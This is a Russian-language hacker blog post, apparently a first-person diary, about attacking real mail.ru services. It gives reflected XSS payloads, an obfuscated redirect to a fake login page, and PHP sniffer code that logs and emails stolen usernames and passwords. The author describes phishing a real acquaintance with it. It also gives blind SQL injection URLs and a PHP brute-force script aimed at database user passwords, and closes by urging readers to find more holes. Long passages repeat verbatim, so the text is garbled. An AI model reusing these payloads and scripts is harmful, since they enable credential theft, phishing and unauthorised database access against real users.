[first day...]
Два часа ночи, я был готов пойти спать, но надо было проверить почту. Зайдя к себе на мыльник (зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на mail.ru, работает дерьмово, видимо спам - подарок от мэйл.ру.
Исследовав почтовый сервис я так ничего и не нашел. Что же, поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы. Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре картинок выскакивало popup окно, запомнив адрес:
http://7ya.mail.ru/image.php?in=phot...=500&big_h=375
http://7ya.mail.ru/image.php?in=phot...=500&big_h=375
Я решил его подкорректировать, получилось вот что:
http://7ya.mail.ru/image.php?in="><font color=ORANGE size=10>Russian Net Hunters - Rulezzz</font>
Как видишь получилось - Russian Net Hunters Rulezzz. Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн через форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не зарегистрирован, и тут мое внимание привлекла адресная строка:
http://talk.mail.ru/login.html?target=
Я решил проверить переменную target на XSS, набрав в адресной строке
http://talk.mail.ru/login.html?target="><script>alert();</script>
Я очень удивился и обрадовался, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов утра, даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело.
[next day...]
На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк форму, а также составил ядовитый урл:
http://talk.mail.ru/login.html?target="><script>location.href='Переадресацию на нашу фэйк форму'</script>
В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры чувствовали себя сухо и комфортно . В итоге урл принял такой вид:
http://talk.mail.ru/login.html?targe...72%69%70%74%3e
Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал юзера к себе на почту, вот код сниффера:
<?
$adminmail = "mymail@mail.ru";
function email($to,$mailtext) {
mail($to,'password',$mailtext,$adminmail);
}
$text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n";
email($adminmail,$text);
$file = fopen("logs.txt","a");
flock($file,3);
fputs($file, $text);
flock($file,1);
fclose($file);
echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post>
<INPUT type=hidden name=login value='$_POST[login]'>
<INPUT type=hidden name=pass value='$_POST[pass]'>
<script>auth.submit();</script>
</FORM>";
?>
Обратите внимание, как юзер попадает к себе на почту (строка 17):
<script>auth.submit();</script>
Создание фэйка - это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный юзер решит, что произошли какие-нить сбои в работе службы DNS.
http://7ya.mail.ru/image.php?in="><font color=ORANGE size=10>Russian Net Hunters - Rulezzz</font>
Как видишь получилось - Russian Net Hunters Rulezzz. Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн через форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не зарегистрирован, и тут мое внимание привлекла адресная строка:
http://talk.mail.ru/login.html?target=
Я решил проверить переменную target на XSS, набрав в адресной строке
http://talk.mail.ru/login.html?target="><script>alert();</script>
Я очень удивился и обрадовался, потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов утра, даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело.
[next day...]
На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк форму, а также составил ядовитый урл:
http://talk.mail.ru/login.html?target="><script>location.href='Переадресацию на нашу фэйк форму'</script>
В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры чувствовали себя сухо и комфортно . В итоге урл принял такой вид:
http://talk.mail.ru/login.html?targe...72%69%70%74%3e
Далее был написан небольшой сниффер, который принимал переданные значения, записывал их в файл и перекидывал юзера к себе на почту, вот код сниффера:
<?
$adminmail = "mymail@mail.ru";
function email($to,$mailtext) {
mail($to,'password',$mailtext,$adminmail);
}
$text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n";
email($adminmail,$text);
$file = fopen("logs.txt","a");
flock($file,3);
fputs($file, $text);
flock($file,1);
fclose($file);
echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post>
<INPUT type=hidden name=login value='$_POST[login]'>
<INPUT type=hidden name=pass value='$_POST[pass]'>
<script>auth.submit();</script>
</FORM>";
?>
Обратите внимание, как юзер попадает к себе на почту (строка 17):
<script>auth.submit();</script>
Создание фэйка - это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form. В итоге данные, которые ввел юзер, запишутся к тебе в файл и произойдет редирект, удивленный юзер решит, что произошли какие-нить сбои в работе службы DNS.
[testing...]
Для проверки всего сказанного я написал "жалостливое" письмо своей новой подружке от бедных админов support@mail.ru c просьбой кликнуть по ссылке... и вскоре в файле logs.txt появилась новая строчка... На следующий день pixcher нашел sql-inj:
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'
Ошибка выполнения запроса!
SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9''
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1
Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда я заметил, что запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=1/*
выполняется и выдаёт нам кучу мелодий на скачивание, а запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=2/*
выдаёт 0 => никакого списка рингтонов не отображает =), а это значит то, что можно посимвольно брутить поля базы данных! Для начало попробуем сбрутить имя пользователя БД user(). SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр. Запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="a"/*
не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(. Первый символ я подобрал вручную, запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="i"/*
выдавал мне полный перечень музона и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт... Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы английского алфавита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выяснено, что такая страница содержит волшебное число 17107 ), то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д. Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP. У меня получилось примерно так:
<?
# Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru)
set_time_limit(0); // пусть наш скрипт не обламывается, если перебор затягивается на длительное
время
$find="user()";# Искомая строка (здесь может быть любое поле БД в виде подзапроса)
$bruteline ='qwertyuiopasdfghjklzxcvbnm1234567890_+!@#\$%^&*\ '"()';# Предполагаем, что исходная
строка состоит только из этих символов
$k=1;# Номер символа, который мы брутим (изначально первый =))
# Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре
function get_page ($link){
$url = parse_url ($link);
$scr = $url['path'];
$scr .= ($url['query'] > "")?"?".$url['query']:"";
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:"";
$host .= $url['host'];
$port = ($url['port'] > "")?$url['port']:80;
$sock = fsockopen ($host, $port);
fputs ($sock, "GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n");
$cont = "";
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}
for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов
$link="http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'%20AND%20lower(substri ng($find,$k,1))=\"$bruteline[$i]\"/*";# Динамически изменяющийся запрос =)
$page=get_page($link);# Скачиваем страницу
if(strstr($page, "17107")){ # ...и если она содержит магическое число 17107...
echo "$bruteline[$i]"; # ...показываем найденный символ...
$i=0; # ...начинаем перебор заново...
$k++; # ...но для следующего символа
}}
?>
Запускаем наш скрипт и... видим имя пользователя БД: "inform@yavanna.mtu". Попробуем вместо $find="user()"; перебирать результаты подзапроса, например
$find="(SELECT password from mysql.user LIMIT 1)";
Запускаем скрипт, но он выдаёт... эх... подзапросы к сожалению не поддерживаются в почтовой БД =( Ничего страшного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"
но к этому моменту меня уже стало воротить от одной мысли о запросе к БД и я "вдруг" вспомнил, что неправомерный доступ к конфиденциальной информации карается законом =)
[end...]
Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка на mail, так что ищи и удачи тебе!
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'
Ошибка выполнения запроса!
SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9''
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1
Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!! Абсолютно!!! Моя радость увеличилась, когда я заметил, что запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=1/*
выполняется и выдаёт нам кучу мелодий на скачивание, а запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=2/*
выдаёт 0 => никакого списка рингтонов не отображает =), а это значит то, что можно посимвольно брутить поля базы данных! Для начало попробуем сбрутить имя пользователя БД user(). SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр. Запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="a"/*
не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =(. Первый символ я подобрал вручную, запрос
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="i"/*
выдавал мне полный перечень музона и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт... Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы английского алфавита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выяснено, что такая страница содержит волшебное число 17107 ), то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д. Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP. У меня получилось примерно так:
<?
# Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru)
set_time_limit(0); // пусть наш скрипт не обламывается, если перебор затягивается на длительное
время
$find="user()";# Искомая строка (здесь может быть любое поле БД в виде подзапроса)
$bruteline ='qwertyuiopasdfghjklzxcvbnm1234567890_+!@#\$%^&*\ '"()';# Предполагаем, что исходная
строка состоит только из этих символов
$k=1;# Номер символа, который мы брутим (изначально первый =))
# Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре
function get_page ($link){
$url = parse_url ($link);
$scr = $url['path'];
$scr .= ($url['query'] > "")?"?".$url['query']:"";
$scr .= ($url['fragment'] > "")?"#".$url['fragment']:"";
$host .= $url['host'];
$port = ($url['port'] > "")?$url['port']:80;
$sock = fsockopen ($host, $port);
fputs ($sock, "GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n");
$cont = "";
while (!feof ($sock)) { $cont .= fgets ($sock); }
fclose ($sock);
return $cont;
}
for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов
$link="http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'%20AND%20lower(substri ng($find,$k,1))=\"$bruteline[$i]\"/*";# Динамически изменяющийся запрос =)
$page=get_page($link);# Скачиваем страницу
if(strstr($page, "17107")){ # ...и если она содержит магическое число 17107...
echo "$bruteline[$i]"; # ...показываем найденный символ...
$i=0; # ...начинаем перебор заново...
$k++; # ...но для следующего символа
}}
?>
Запускаем наш скрипт и... видим имя пользователя БД: "inform@yavanna.mtu". Попробуем вместо $find="user()"; перебирать результаты подзапроса, например
$find="(SELECT password from mysql.user LIMIT 1)";
Запускаем скрипт, но он выдаёт... эх... подзапросы к сожалению не поддерживаются в почтовой БД =( Ничего страшного, UNION SELECT ещё никто не отменял, так что возможен такой перебор:
http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"
но к этому моменту меня уже стало воротить от одной мысли о запросе к БД и я "вдруг" вспомнил, что неправомерный доступ к конфиденциальной информации карается законом =)
[end...]
Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка на mail, так что ищи и удачи тебе!
Комментариев нет:
Отправить комментарий